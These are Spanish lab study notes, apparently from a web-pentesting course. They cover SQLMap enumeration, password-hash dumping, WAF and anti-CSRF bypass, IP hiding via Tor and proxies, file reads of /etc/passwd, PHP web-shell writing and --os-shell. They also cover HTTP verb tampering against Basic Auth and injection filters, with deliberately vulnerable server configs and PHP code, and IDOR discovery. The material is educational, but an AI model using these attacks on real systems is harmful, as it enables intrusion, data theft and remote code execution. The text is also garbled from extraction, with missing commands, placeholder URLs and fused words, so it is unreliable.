<column_comment query="SELECT column_comment FROM
INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND
table_name='%s' AND column_name='%s'"/>
<is_dba query="(SELECT super_priv FROM [Link] WHERE user='%s' LIMIT
0,1)='Y'"/>
<check_udf query="(SELECT name FROM [Link] WHERE name='%s' LIMIT
0,1)='%s'"/>
<users>
<inband query="SELECT grantee FROM
INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM
[Link]" query3="SELECT username FROM
DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
<blind query="SELECT DISTINCT(grantee) FROM
INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT
DISTINCT(user) FROM [Link] LIMIT %d,1" query3="SELECT DISTINCT(username)
FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS LIMIT %d,1" count="SELECT
COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES"
count2="SELECT COUNT(DISTINCT(user)) FROM [Link]" count3="SELECT
COUNT(DISTINCT(username)) FROM
DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
</users>
...SNIP...
Por ejemplo, si un usuario desea recuperar el "banner" (switch --banner) del objetivo
basado en MySQL, VERSION()se utilizará la consulta.
Si se recupera el nombre de usuario actual (switch --current-
user), CURRENT_USER()se utilizará la consulta.
Otro ejemplo es la recuperación de todos los nombres de usuario (es decir, la
etiqueta <users>). Se utilizan dos consultas, según la situación. La consulta marcada
como inbandse utiliza en todas las situaciones no ciegas (es decir, consultas UNION y
SQLi basado en errores), donde los resultados de la consulta se pueden esperar dentro
de la propia respuesta. La consulta marcada como blind, por otro lado, se utiliza para
todas las situaciones ciegas, donde los datos deben recuperarse fila por fila, columna
por columna y bit por bit.
Generalmente, tras detectar con éxito una vulnerabilidad de SQLi, podemos comenzar
a enumerar datos básicos de la base de datos, como el nombre de host del objetivo
vulnerable ( --hostname), el nombre del usuario actual ( --current-user), el nombre de
la base de datos actual ( --current-db) o los hashes de contraseña ( --passwords).
SQLMap omitirá la detección de SQLi si se ha identificado previamente e iniciará
directamente el proceso de enumeración del SGBD.
La enumeración generalmente comienza con la recuperación de la información
básica:
• Banner de versión de la base de datos (cambiar --banner)
• Nombre de usuario actual (cambiar --current-user)
• Nombre de la base de datos actual (switch --current-db)
• Comprobación de si el usuario actual tiene derechos de DBA (administrador)
(cambio --is-dba)
___
__H__
___ ___[']_____ ___ ___ {1.4.9}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| [Link]
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)
Payload: id=1 AND (SELECT 5907 FROM(SELECT
COUNT(*),CONCAT(0x7170766b71,(SELECT
(ELT(5907=5907,1))),0x7178707671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
...SNIP...
[13:59:24] [INFO] fetching tables for database: 'testdb'
Database: testdb
[4 tables]
+---------------+
| member |
| data |
| international |
| users |
+---------------+
...SNIP...
Database: testdb
Table: users
[4 entries]
+----+--------+------------+
| id | name | surname |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+
Enumeración de tabla/fila
Cuando trabajamos con tablas grandes con muchas columnas y/o filas, podemos
especificar las columnas (por ejemplo, solo columnas namey surname) con la -
Copción, de la siguiente manera:
...SNIP...
Database: testdb
Table: users
[4 entries]
+--------+------------+
| name | surname |
+--------+------------+
| luther | blisset |
| fluffy | bunny |
| wu | ming |
| NULL | nameisnull |
+--------+------------+
Para limitar las filas en función de sus números ordinales dentro de la tabla, podemos
especificar las filas con las opciones --starty --stop(por ejemplo, comenzar desde la
segunda hasta la tercera entrada), de la siguiente manera:
...SNIP...
Database: testdb
Table: users
[2 entries]
+----+--------+---------+
| id | name | surname |
+----+--------+---------+
| 2 | fluffy | bunny |
| 3 | wu | ming |
+----+--------+---------+
Enumeración condicional
Si existe un requisito para recuperar ciertas filas en función de una WHERE condición
conocida (por ejemplo, name LIKE 'f%'), podemos usar la opción --where, de la
siguiente manera:
Enumeración de bases de datos
AlejandroGB@htb[/htb]$ sqlmap -u "[Link] --dump -T users
-D testdb --where="name LIKE 'f%'"
...SNIP...
Database: testdb
Table: users
[1 entry]
+----+--------+---------+
| id | name | surname |
+----+--------+---------+
| 2 | fluffy | bunny |
+----+--------+---------+
En lugar de recuperar el contenido de cada tabla, podemos recuperar todas las tablas
de la base de datos de interés omitiendo la opción -Tpor completo (p. ej., --dump -D
testdb). Simplemente usando el modificador --dump sin especificar una tabla con -T,
se recuperará todo el contenido de la base de datos actual. En cuanto al --dump-
allmodificador, se recuperará todo el contenido de todas las bases de datos.
En tales casos, también se recomienda al usuario incluir el modificador --exclude-
sysdbs(por ejemplo --dump-all --exclude-sysdbs), que le indicará a SQLMap que omita
la recuperación de contenido de las bases de datos del sistema, ya que generalmente
es de poco interés para los pentesters.
Enumeración avanzada de bases de datos
Ahora que hemos cubierto los conceptos básicos de la enumeración de bases de datos
con SQLMap, cubriremos técnicas más avanzadas para enumerar datos de interés más
adelante en esta sección.
...SNIP...
Database: master
Table: log
[3 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| date | datetime |
| agent | varchar(512) |
| id | int(11) |
+--------+--------------+
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+-------------+---------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
+-------------+---------+
...
Database: testdb
Table: data
[2 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| content | blob |
| id | int(11) |
+---------+---------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
Buscando datos
Al trabajar con estructuras de bases de datos complejas con numerosas tablas y
columnas, podemos buscar bases de datos, tablas y columnas de interés mediante
la --search opción. Esta opción permite buscar nombres de identificadores mediante
el LIKE operador. Por ejemplo, si buscamos todos los nombres de tabla que contienen
la palabra clave user, podemos ejecutar SQLMap de la siguiente manera:
...SNIP...
[14:24:19] [INFO] searching tables LIKE 'user'
Database: testdb
[1 table]
+-----------------+
| users |
+-----------------+
Database: master
[1 table]
+-----------------+
| users |
+-----------------+
Database: information_schema
[1 table]
+-----------------+
| USER_PRIVILEGES |
+-----------------+
Database: mysql
[1 table]
+-----------------+
| user |
+-----------------+
...SNIP...
columns LIKE 'pass' were found in the following databases:
Database: owasp10
Table: accounts
[1 column]
+----------+------+
| Column | Type |
+----------+------+
| password | text |
+----------+------+
Database: master
Table: users
[1 column]
+----------+--------------+
| Column | Type |
+----------+--------------+
| password | varchar(512) |
+----------+--------------+
Database: mysql
Table: user
[1 column]
+----------+----------+
| Column | Type |
+----------+----------+
| Password | char(41) |
+----------+----------+
Database: mysql
Table: servers
[1 column]
+----------+----------+
| Column | Type |
+----------+----------+
| Password | char(64) |
+----------+----------+
...SNIP...
[14:31:41] [INFO] fetching columns for table 'users' in database 'master'
[14:31:41] [INFO] fetching entries for table 'users' in database 'master'
[14:31:41] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with
other tools [y/N] N
...SNIP...
[14:25:20] [INFO] fetching database users password hashes
[14:25:20] [WARNING] something went wrong with full UNION technique (could be
because of limitation on retrieved number of entries). Falling back to partial UNION
technique
[14:25:20] [INFO] retrieved: 'root'
[14:25:20] [INFO] retrieved: 'root'
[14:25:20] [INFO] retrieved: 'root'
[14:25:20] [INFO] retrieved: 'debian-sys-maint'
do you want to store hashes to a temporary file for eventual further processing with
other tools [y/N] N
recuperar la estructura de todas las tablas para poder tener una visión completa de la
arquitectura de la base de datos: (--schema)
También podríamos intentar buscar todos los nombres de columna con una palabra
clave específica ej pass.
también podemos intentar volcar el contenido de las tablas del sistema que contienen
credenciales específicas de la base de datos (por ejemplo, credenciales de conexión).
1)
2)
Cómo eludir las protecciones de las aplicaciones web
___
__H__
___ ___[,]_____ ___ ___ {1.4.9}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| [Link]
POST parameter 'csrf-token' appears to hold anti-CSRF token. Do you want sqlmap to
automatically update it in further requests? [y/N] y
En algunos casos, la aplicación web solo requiere valores únicos dentro de parámetros
predefinidos. Este mecanismo es similar a la técnica anti-CSRF descrita
anteriormente, salvo que no es necesario analizar el contenido de la página web. Por lo
tanto, al garantizar que cada solicitud tenga un valor único para un parámetro
predefinido, la aplicación web puede prevenir fácilmente los intentos de CSRF y, al
mismo tiempo, evitar algunas herramientas de automatización. Para ello, --
randomizese debe usar la opción que apunta al nombre del parámetro que contiene un
valor que debe aleatorizarse antes de enviarse:
URI: [Link]
URI: [Link]
URI: [Link]
URI:
[Link]
URI:
[Link]
URI:
[Link]
7422%3D7422&rp=95185
Otro mecanismo similar ocurre cuando una aplicación web espera que se calcule un
valor de parámetro adecuado basándose en otros valores de parámetro.
Normalmente, un valor de parámetro debe contener el resumen del mensaje (por
ejemplo, h=MD5(id)) de otro. Para evitar esto, se debe usar la opción --eval, donde se
evalúa código Python válido justo antes de enviar la solicitud al destino:
AGB@htb[/htb]$ sqlmap -u
"[Link] --
eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5 | grep URI
URI: [Link]
URI: [Link]
URI:
[Link]
URI:
[Link]
36e2d32fb2f4842ad5a08d
URI:
[Link]
25b14d67aaa32da09b8b2d42
URI:
[Link]
3283ssocks4://[Link]:332833D1232%20AND%20%284955%3D4955&h=023
12acd4ebe69e2528382dfff7fc5cc
Ocultación de direcciones IP
Si queremos ocultar nuestra dirección IP, o si una aplicación web tiene un mecanismo
de protección que bloquea nuestra dirección IP actual, podemos intentar usar un proxy
o la red de anonimato Tor. Se puede configurar un proxy con la opción --proxy(por
ejemplo, --proxy="socks4://[Link]:33283"), donde debemos agregar un proxy
que funcione.
Además, si tenemos una lista de proxies, podemos proporcionárselos a SQLMap con
la opción --proxy-file. De esta forma, SQLMap revisará la lista secuencialmente y, en
caso de problemas (por ejemplo, la inclusión de una dirección IP en la lista negra),
simplemente saltará de la lista actual a la siguiente. Otra opción es usar la red Tor para
proporcionar una anonimización fácil de usar, donde nuestra IP puede aparecer en
cualquier lugar de una larga lista de nodos de salida de Tor. Una vez instalado
correctamente en el equipo local, debería haber un SOCKS4servicio de proxy en el
puerto local 9050 o 9150. Al usar el interruptor --tor, SQLMap intentará
automáticamente encontrar el puerto local y utilizarlo adecuadamente.
Si quisiéramos asegurarnos de que Tor se usa correctamente para evitar
comportamientos no deseados, podríamos usar el modificador --check-tor. En tales
casos, SQLMap se conectará a [nombre del dominio] [Link]
comprobará si la respuesta tiene el resultado deseado (es decir, Congratulationssi
aparece dentro).
Derivación de WAF
Al ejecutar SQLMap, como parte de las pruebas iniciales, SQLMap envía una carga útil
predefinida de aspecto malicioso con un nombre de parámetro inexistente (p. ej.,
[nombre faltante] ?pfov=...) para comprobar la existencia de un WAF (firewall de
aplicaciones web). Si existe alguna protección entre el usuario y el objetivo, la
respuesta cambiará sustancialmente con respecto a la original. Por ejemplo, si se
implementa una de las soluciones WAF más populares (ModSecurity), debería haber
una 406 - Not Acceptable respuesta tras dicha solicitud.
En caso de una detección positiva, para identificar el mecanismo de protección real,
SQLMap utiliza la biblioteca externa identYwaf , que contiene las firmas de 80
soluciones WAF diferentes. Si quisiéramos omitir esta prueba heurística por completo
(es decir, para generar menos ruido), podemos usar switch --skip-waf.
En caso de problemas inmediatos (por ejemplo, código de error HTTP 5XX desde el
inicio) al ejecutar SQLMap, una de las primeras cosas en las que debemos pensar es
en la posible inclusión en la lista negra del agente de usuario predeterminado utilizado
por SQLMap (por ejemplo User-agent: sqlmap/1.4.9 ([Link]
Esto es fácil de evitar con el interruptor --random-agent, que cambia el agente de
usuario predeterminado con un valor elegido aleatoriamente de un gran conjunto de
valores utilizados por los navegadores.
Nota: Si se detecta algún tipo de protección durante la ejecución, cabe esperar
problemas con el objetivo, incluso con otros mecanismos de seguridad. La razón
principal es el desarrollo continuo y las nuevas mejoras en dichas protecciones, lo que
reduce cada vez más el margen de maniobra de los atacantes.
Scripts de manipulación
Para obtener una lista completa de scripts de manipulación implementados, junto con
la descripción anterior, --list-tampers se puede usar el interruptor. También podemos
desarrollar scripts de manipulación personalizados para cualquier tipo de ataque,
como un SQLi de segundo orden.
Bypasses varios
Comandos:
sqlmap -u
"[Link] --
eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5 | grep URI
Ocultación de direcciones IP
--proxy="socks4://[Link]:33283
Derivación de WAF
Bypasses varios
Petición (Caso 8)
Petición (Caso 9)
Importante probar --url, -r [Link], y el curl, para probar cual funciona
SQLMap puede utilizar una inyección SQL para leer y escribir archivos desde el sistema
local fuera del DBMS. SQLMap también puede intentar ejecutar comandos
directamente en el host remoto si se tienen los privilegios adecuados.
Lectura/escritura de archivos
Para comprobar si tenemos privilegios de DBA con SQLMap, podemos utilizar la --is-
dba opción:
___
__H__
___ ___[)]_____ ___ ___ {1.4.11#stable}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| [Link]
[*] starting @ 17:31:55 /2020-11-19/
Como podemos ver, si probamos esto en uno de los ejercicios anteriores, obtenemos
[nombre current user is DBA: Falsedel archivo], lo que significa que no tenemos acceso
de administrador. Si intentáramos leer un archivo con SQLMap, obtendríamos algo
como esto:
___
__H__
___ ___["]_____ ___ ___ {1.4.11#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| [Link]
En lugar de inyectar manualmente la línea anterior a través de SQLi, SQLMap hace que
sea relativamente fácil leer archivos locales con la --file-readopción:
___
__H__
___ ___[)]_____ ___ ___ {1.4.11#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| [Link]
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...SNIP...
Hemos recuperado con éxito el archivo remoto.
___
__H__
___ ___[']_____ ___ ___ {1.4.11#stable}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| [Link]
[17:54:28] [INFO] the local file '[Link]' and the remote file '/var/www/html/[Link]'
have the same size (31 B)
Vemos que nuestro shell PHP fue escrito efectivamente en el servidor remoto y que
tenemos ejecución de comandos en el servidor host.
Ahora que confirmamos que podemos escribir un shell PHP para ejecutar comandos,
podemos probar la capacidad de SQLMap para generar un shell de sistema operativo
sencillo sin tener que escribir manualmente un shell remoto. SQLMap utiliza diversas
técnicas para obtener un shell remoto a través de vulnerabilidades de inyección SQL,
como escribir un shell remoto, como acabamos de hacer, escribir funciones SQL que
ejecutan comandos y recuperan la salida, o incluso usar consultas SQL que ejecutan
directamente comandos del sistema operativo, como xp_cmdshellen Microsoft SQL
Server. Para obtener un shell de sistema operativo con SQLMap, podemos usar la --os-
shell siguiente opción:
___
__H__
___ ___[.]_____ ___ ___ {1.4.11#stable}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| [Link]
os-shell> ls -la
do you want to retrieve the command standard output? [Y/n/a] a
[18:02:45] [WARNING] something went wrong with full UNION technique (could be
because of limitation on retrieved number of entries). Falling back to partial UNION
technique
No output
Vemos que SQLMap utilizó UNION la técnica predeterminada para obtener un shell del
sistema operativo, pero finalmente no nos proporcionó ningún resultado No output.
Por lo tanto, como ya sabemos que existen varios tipos de vulnerabilidades de
inyección SQL, intentemos especificar otra técnica con mayor probabilidad de
proporcionarnos un resultado directo, como la técnica Error-based SQL Injection, que
podemos especificar con --technique=E:
___
__H__
___ ___[,]_____ ___ ___ {1.4.11#stable}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| [Link]
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y
[18:06:07] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs,
/usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs,
/var/www/nginx-default, /srv/www/htdocs') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
>1
os-shell> ls -la
Como podemos ver, esta vez SQLMap nos llevó con éxito a un shell remoto interactivo
fácil, lo que nos permite una fácil ejecución remota de código a través de este SQLi.
Nota: SQLMap primero nos preguntó el tipo de lenguaje usado en este servidor remoto,
que sabemos que es PHP. Luego nos pidió el directorio raíz web del servidor, y le
pedimos a SQLMap que lo encontrara automáticamente usando "ubicaciones
comunes". Ambas opciones son las predeterminadas y se habrían seleccionado
automáticamente si hubiéramos añadido la opción "--batch" a SQLMap.
Con esto, hemos cubierto toda la funcionalidad principal de SQLMap.
Comandos:
curl [Link]
DBA habilitado
Lectura de archivos
Ver el archivo generado que se desea leer en este caso /etc/passwd
Solucion skill
Identificar
Al iniciar el ejercicio al final de esta sección, vemos que tenemos una File
Manageraplicación web básica, en la que podemos agregar nuevos archivos
escribiendo sus nombres y pulsando enter:
Sin embargo, supongamos que intentamos eliminar todos los archivos haciendo clic
en el Reset botón rojo. En ese caso, vemos que esta función parece estar restringida
solo a usuarios autenticados, ya que aparece el siguiente HTTP Basic Auth mensaje:
Como no tenemos ninguna credencial nos aparecerá una 401 Unauthorized página:
Veamos si podemos evitar esto con un ataque de manipulación de verbos HTTP. Para
ello, necesitamos identificar qué páginas están restringidas por esta autenticación. Si
examinamos la solicitud HTTP tras hacer clic en el botón Restablecer o la URL a la que
se dirige el botón tras hacer clic, vemos que está en /admin/[Link]. Por lo tanto, o
bien el /admindirectorio está restringido solo a usuarios autenticados, o solo
la /admin/[Link]ágina lo está. Podemos confirmarlo visitando el /admindirectorio
y, efectivamente, se nos solicita que iniciemos sesión de nuevo. Esto significa que todo
el /admindirectorio está restringido.
Explotar
Para intentar explotar la página, necesitamos identificar el método de solicitud HTTP
utilizado por la aplicación web. Podemos interceptar la solicitud en Burp Suite y
examinarla:
Como la página usa una GETsolicitud, podemos enviarla POSTy comprobar si la página
web POSTla permite (es decir, si la autenticación las cubre POST). Para ello, podemos
hacer clic derecho en la solicitud interceptada en Burp y seleccionarla Change
Request Method; la solicitud se convertirá automáticamente en una POSTsolicitud:
Una vez hecho esto, podemos hacer clic Forwardy examinar la página en nuestro
navegador. Lamentablemente, aún se nos solicita iniciar sesión y accederemos a
una 401 Unauthorized página si no proporcionamos las credenciales:
Parece que las configuraciones del servidor web cubren tanto las
solicitudes GETcomo POSTlas solicitudes. Sin embargo, como ya hemos visto,
podemos utilizar muchos otros métodos HTTP, en particular el HEADmétodo , que es
idéntico a una GETsolicitud, pero no devuelve el cuerpo en la respuesta HTTP. Si esto
tiene éxito, es posible que no recibamos ninguna salida, pero la resetfunción debería
ejecutarse, que es nuestro objetivo principal.
Para ver si el servidor acepta HEADsolicitudes, podemos enviarle
una OPTIONSsolicitud y ver qué métodos HTTP se aceptan, de la siguiente manera:
HTTP/1.1 200 OK
Date:
Server: Apache/2.4.41 (Ubuntu)
Allow: POST,OPTIONS,HEAD,GET
Content-Length: 0
Content-Type: httpd/unix-directory
Una vez que cambiemos POST a HEAD la solicitud y la reenviemos, veremos que ya no
aparece un mensaje de inicio de sesión ni una 401 Unauthorized página, sino una
salida vacía, como se espera con una HEAD solicitud. Si volvemos a la File Manager
aplicación web, veremos que todos los archivos se han eliminado, lo que significa que
hemos activado la Reset función correctamente sin acceso de administrador ni
credenciales.
Practica o solución
Para intentar eludir este login podemos hacer un (change request method) para pasar
la consulta de GET a POST, pero esto no va a funcionar ya que nos pedirá nuevamente
las credenciales.
Así que intentamos con el verbo DELETE y al enviar la solicitud vemos que dice estatus
200 ok lo que nos permite saber que el servidor acepto la peticion o request que
enviamos, al cargar la página nuevamente vemos que logramos eliminar [Link]
evadiendo así el login.
Evitar los filtros de seguridad
Identificar
En el File Manager aplicación web, si intentamos crear un nuevo nombre de archivo con
caracteres especiales en su nombre (por ejemplo, test;), obtenemos el siguiente
mensaje:
[Link]
Este mensaje muestra que la aplicación web utiliza ciertos filtros en el back-end para
identificar intentos de inyección y luego bloquea cualquier solicitud maliciosa. No
importa lo que intentemos, la aplicación web bloquea adecuadamente nuestras
solicitudes y está protegida contra intentos de inyección. Sin embargo, podemos
intentar un ataque de manipulación de verbos HTTP para ver si podemos evitar el filtro
de seguridad por completo.
Explotar
Para intentar explotar esta vulnerabilidad, interceptemos la solicitud en Burp Suite
(Burp) y luego usemos Change Request Method para cambiarlo a otro método:
Una vez que enviamos nuestra solicitud, vemos que esta vez ambos file1y file2fueron
creados:
[Link]
Esto muestra que omitimos con éxito el filtro a través de una vulnerabilidad de
manipulación de verbos HTTP y logramos la inyección de comandos. Sin la
vulnerabilidad HTTP Verb Tampering, la aplicación web podría haber estado segura
contra ataques de inyección de comandos, y esta vulnerabilidad nos permitió omitir
los filtros implementados por completo.
Solución – Bypass filtro de seguridad
Configuración insegura
Las vulnerabilidades de manipulación de verbos HTTP pueden ocurrir en la mayoría de
los servidores web modernos, incluyendo Apache, Tomcaty [Link]. La vulnerabilidad
suele ocurrir cuando limitamos la autorización de una página a un conjunto específico
de verbos/métodos HTTP, lo que deja desprotegidos los demás métodos restantes.
El siguiente es un ejemplo de una configuración vulnerable para un servidor web
Apache, que se encuentra en el archivo de configuración del sitio (por ejemplo 000-
[Link]), o en un .htaccessarchivo de configuración de página web:
Código: xml
<Directory "/var/www/html/admin">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile /etc/apache2/.htpasswd
<Limit GET>
Require valid-user
</Limit>
</Directory>
Como podemos ver, esta configuración establece las configuraciones de autorización
para el admindirectorio web. Sin embargo, como <Limit GET>se usa la palabra clave,
la Require valid-userconfiguración solo se aplicará a GETlas solicitudes, lo que
permitirá que la página sea accesible mediante POSTsolicitudes. Incluso si se
especificaran tanto "" GETcomo " POST", la página sería accesible mediante otros
métodos, como "" HEADo " OPTIONS".
El siguiente ejemplo muestra la misma vulnerabilidad para una Tomcatconfiguración
de servidor web, que se puede encontrar en el [Link] de una determinada
aplicación web Java:
Código: xml
<security-constraint>
<web-resource-collection>
<url-pattern>/admin/*</url-pattern>
<http-method>GET</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
Podemos ver que la autorización se limita únicamente al GET método con http-
method, lo que deja la página accesible a través de otros métodos HTTP.
Finalmente, el siguiente es un ejemplo de una [Link] configuración que se encuentra
en el [Link] archivo de una aplicación web:
Código: xml
<[Link]>
<authorization>
<allow verbs="GET" roles="admin">
<deny verbs="GET" users="*">
</deny>
</allow>
</authorization>
</[Link]>
Una vez más, el allow alcance denyestá limitado al GET método, lo que deja la
aplicación web accesible a través de otros métodos HTTP.
Los ejemplos anteriores muestran que no es seguro limitar la configuración de la
autorización a un verbo HTTP específico. Por ello, siempre debemos evitar restringir la
autorización a un método HTTP específico y permitir o denegar todos los verbos y
métodos HTTP.
Si queremos especificar un solo método, podemos utilizar palabras clave seguras,
como Limit Excepten Apache, http-method-omission en Tomcat y add/ remove en
[Link], que cubren todos los verbos excepto los especificados.
Por último, para evitar ataques similares, generalmente deberíamos hacerlo consider
disabling/denying all HEAD requests a menos que la aplicación web lo requiera
específicamente.
Codificación insegura
Si bien identificar y corregir configuraciones inseguras de servidores web es
relativamente fácil, hacerlo con código inseguro es mucho más complejo. Esto se debe
a que, para identificar esta vulnerabilidad en el código, necesitamos encontrar
inconsistencias en el uso de parámetros HTTP entre funciones, ya que, en algunos
casos, esto puede generar funcionalidades y filtros desprotegidos.
Consideremos el siguiente PHPcódigo de nuestro File Managerejercicio:
Código: php
if (isset($_REQUEST['filename'])) {
if (!preg_match('/[^A-Za-z0-9. _-]/', $_POST['filename'])) {
system("touch " . $_REQUEST['filename']);
} else {
echo "Malicious Request Denied!";
}
}
Si solo consideráramos las vulnerabilidades de inyección de comandos, diríamos que
esto está codificado de forma segura. La preg_matchfunción busca correctamente
caracteres especiales no deseados y no permite que la entrada se introduzca en el
comando si se encuentran caracteres especiales. Sin embargo, el error fatal en este
caso no se debe a inyecciones de comandos, sino a inconsistent use of HTTP methods.
Observamos que el preg_matchfiltro solo busca caracteres especiales en POSTlos
parámetros con $_POST['filename']. Sin embargo, el comando final systemusa
la $_REQUEST['filename']variable, que abarca tanto GET los POST parámetros como.
Por lo tanto, en la sección anterior, al enviar nuestra entrada maliciosa mediante una
solicitud, la función GET no la detuvo, ya que los parámetros estaban vacíos y, por lo
tanto, no contenían caracteres especiales. Sin embargo, al llegar a la función, esta usó
todos los parámetros encontrados en la solicitud, y nuestros parámetros se usaron en
el comando, lo que finalmente provocó una inyección de
comandos.preg_matchPOSTsystem GET
Este ejemplo básico nos muestra cómo pequeñas inconsistencias en el uso de
métodos HTTP pueden generar vulnerabilidades críticas. En una aplicación web en
producción, este tipo de vulnerabilidades no serán tan obvias. Probablemente estarán
distribuidas por toda la aplicación web y no en dos líneas consecutivas como en este
caso. En cambio, la aplicación web probablemente contará con una función especial
para detectar inyecciones y una función diferente para crear archivos. Esta separación
del código dificulta la detección de este tipo de inconsistencias y, por lo tanto, podrían
persistir en producción.
Para evitar vulnerabilidades de manipulación de verbos HTTP en nuestro código we
must be consistent with our use of HTTP methodsy garantizar que siempre se utilice el
mismo método para cualquier funcionalidad específica de la aplicación web, se
recomienda expand the scope of testing in security filtersprobar todos los parámetros
de la solicitud. Esto se puede hacer con las siguientes funciones y variables:
Idioma Función
PHP $_REQUEST['param']
Java [Link]('param')
DO# Request['param']
Identificación de IDOR
El primer paso para explotar las vulnerabilidades de IDOR es identificar las Referencias
Directas a Objetos. Al recibir un archivo o recurso específico, debemos analizar las
solicitudes HTTP para buscar parámetros de URL o API con una referencia a un objeto
(por ejemplo, ?uid=1o ?filename=file_1.pdf). Estos se encuentran principalmente en
parámetros de URL o API, pero también pueden encontrarse en otros encabezados
HTTP, como las cookies.
En los casos más básicos, podemos intentar incrementar los valores de las referencias
de los objetos para recuperar otros datos, como ( ?uid=2) o ( ?filename=file_2.pdf).
También podemos usar una aplicación de fuzzing para probar miles de variaciones y
ver si devuelven algún dato. Cualquier acceso exitoso a archivos que no sean nuestros
indicaría una vulnerabilidad IDOR.
Llamadas AJAX
También podemos identificar parámetros o API no utilizados en el código front-end
mediante llamadas AJAX de JavaScript. Algunas aplicaciones web desarrolladas con
frameworks de JavaScript pueden ubicar de forma insegura todas las llamadas a
funciones en el front-end y usar las adecuadas según el rol del usuario.
Por ejemplo, si no tuviéramos una cuenta de administrador, solo se usarían las
funciones de usuario, mientras que las de administrador estarían deshabilitadas. Sin
embargo, podríamos encontrar las funciones de administrador si revisamos el código
JavaScript del frontend e identificamos llamadas AJAX a endpoints o API específicas
que contengan referencias directas a objetos. Si identificamos referencias directas a
objetos en el código JavaScript, podemos analizarlas para detectar vulnerabilidades
IDOR.
Esto no es exclusivo de las funciones de administración, por supuesto, sino que
también puede aplicarse a cualquier función o llamada que no se detecte mediante la
monitorización de solicitudes HTTP. El siguiente ejemplo muestra un ejemplo básico
de una llamada AJAX:
Código: javascript
function changeUserPassword() {
$.ajax({
url:"change_password.php",
type: "post",
dataType: "json",
data: {uid: [Link], password: [Link], is_admin: is_admin},
success:function(result){
//
}
});
}
Es posible que la función anterior nunca se invoque al usar la aplicación web como
usuario no administrador. Sin embargo, si la encontramos en el código frontend,
podemos probarla de diferentes maneras para ver si podemos invocarla para realizar
cambios, lo que indicaría su vulnerabilidad a IDOR. Podemos hacer lo mismo con el
código backend si tenemos acceso a él (por ejemplo, aplicaciones web de código
abierto).
Comprender el hash/codificación
Algunas aplicaciones web podrían no usar números secuenciales simples como
referencias a objetos, sino codificar la referencia o aplicarle un hash. Si encontramos
que dichos parámetros utilizan valores codificados o aplicados con hash, podríamos
explotarlos si no existe un sistema de control de acceso en el backend.
Supongamos que la referencia se codificó con un codificador común (p. ej., base64).
En ese caso, podríamos decodificarla y ver el texto sin formato de la referencia al
objeto, modificar su valor y volver a codificarla para acceder a otros datos. Por ejemplo,
si vemos una referencia como ( ?filename=ZmlsZV8xMjMucGRm), podemos deducir
inmediatamente que el nombre del archivo está base64codificado (a partir de su
conjunto de caracteres), lo cual podemos decodificar para obtener la referencia
original al objeto ( file_123.pdf). Después, podemos intentar codificar una referencia a
un objeto diferente (p. ej., file_124.pdf) y acceder a ella con la referencia codificada
( ?filename=ZmlsZV8xMjQucGRm), lo que podría revelar una vulnerabilidad de IDOR si
logramos recuperar algún dato.
Por otro lado, la referencia al objeto puede estar codificada, como
( [Link]?filename=c81e728d9d4c2f636f067f89cc14862c). A primera vista,
podríamos pensar que se trata de una referencia segura, ya que no utiliza texto claro ni
codificación sencilla. Sin embargo, si examinamos el código fuente, podemos ver qué
se codifica antes de realizar la llamada a la API:
Código: javascript
$.ajax({
url:"[Link]",
type: "post",
dataType: "json",
data: {filename: CryptoJS.MD5('file_1.pdf').toString()},
success:function(result){
//
}
});
En este caso, podemos ver que el código usa el algoritmo filenamehash y lo hashea
con CryptoJS.MD5, lo que nos facilita el cálculo de filenameotros archivos
potenciales. De lo contrario, podemos intentar identificar manualmente el algoritmo
hash utilizado (por ejemplo, con herramientas de identificación hash) y luego hashear
el nombre del archivo para ver si coincide con el hash utilizado. Una vez que podamos
calcular los hashes de otros archivos, podemos intentar descargarlos, lo que podría
revelar una vulnerabilidad IDOR si descargamos archivos que no nos pertenecen.
Explotar vulnerabilidades de IDOR es fácil en algunos casos, pero puede ser muy difícil
